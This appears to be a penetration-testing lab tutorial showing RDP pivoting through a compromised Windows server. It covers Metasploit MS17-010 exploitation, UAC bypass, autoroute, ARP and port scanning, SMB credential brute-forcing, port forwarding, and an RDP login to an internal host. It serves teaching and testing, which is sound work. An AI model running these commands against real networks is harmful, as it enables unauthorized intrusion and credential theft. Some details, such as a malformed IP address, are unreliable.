In our previous turtorial we had discussed on SSH pivoting and today we are going to discuss RDP pivoting.

From Offensive Security

Pivoting is technique to get inside an unreachable network with help of pivot (centre point). In simple words it is an attack through which attacker can exploit those system which belongs to different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then attacker will able to target the client system for attack.

Lab Setup requirement:

Attacker machine: Kali Linux

Pivot Machine (server): window operating system with two network interface

Target Machine (client): window 7 (Allow RDP service)

Use exploit MS17-010 or muti handler to hack the pivot machine and bypass its UAC to achieve admin privleges.

sessions

 Hence if you will count then currently attacker has hold 2 sessions, 1^st for meterpreter shell  and 2^nd for bypass UAC of server.

Check network interface through following command:

Meterpreter> ifconfig

From given image you can observe two networks interface in victim’s system 1^st for IP 192.168.0.27 through which attacker is connected and 2^nd for IP 192.168.100.100 through which clients (targets) are connected.

Since attacker belongs to 192.168.0.1 interface and client belongs to 192.168.100.0 interface therefore it is not possible to directly make attack on client network until unless the attacker acquires same network connection. In order to achieve 192.168.100.0 network attacker need run the post exploitation “autoroute”.

This module manages session routing via an existing Meterpreter session. It enables other modules to ‘pivot’ through a compromised host when connecting to the named NETWORK and SUBMASK. Autoadd will search a session for valid subnets from the routing table and interface list then add routes to them. Default will add a default route so that all TCP/IP traffic not specified in the MSF routing table will be routed through the session when pivoting.

msf > use post/multi/manage/autoroute 

msf post(autoroute) > set session 2

msf post(autoroute) > exploit

Note: If you had not bypass UAC you can use session 1 for post exploit.

This Module will perform an ARP scan for a given IP range through a Meterpreter Session.

use post/windows/gather/arp_scanner

msf post(arp_scanner) > set rhosts 192.168.100.100-110

msf post(arp_scanner) > set session 2

msf post(arp_scanner) > set thread 20

msf post(arp_scanner) > exploit

 Here we found a new IP 192.1668.100.103 as shown in given image. Let’s perform TCP port scan for activated services on this machine.

This module Enumerates open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting.

use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set ports 445, 3389

msf auxiliary(tcp) > set rhosts 192.168.100.103

msf auxiliary(tcp) > set thread 10

msf auxiliary(tcp) >exploit

From given you can observe port 3389 and port 445 are open and we know that 3389 is used for RDP and 445 is use for SMB.

This module will test a SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

use auxiliary/scanner/smb/smb_login

msf exploit (smb_login)>set rhost 192.168.100.103

msf exploit (smb_login)>set user_file  /root/Desktop/user.txt

msf exploit (smb_login)>set pass_file /root/Desktop/pass.txt

msf exploit (smb_login)>set stop_on_success true

msf exploit (smb_login)>exploit

 From given image you can observe the highlights pentest: 123 has success login.

Now Type following command for port forwarding on localhost.

 Meterpreter> portfwd add –l  3389 –p 3389 –r 192.168.100.103 

-l: This is a local port to listen on.

-p: The remote port to connect on.

-r:  The remote host address to connect on.

Now type following command to connect RDP client on localhost through port3389

rdesktop 127.0.0.1:3389

Now it will ask to enter the credential for connecting with RDP client; Enter the combination of username and password you have retrieved from SMB login Exploit.

If you remembered we have retrieved pentest: 123 through smb login exploit which we are using for login.

Wonderful!! We had successfully exploit RDP client.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here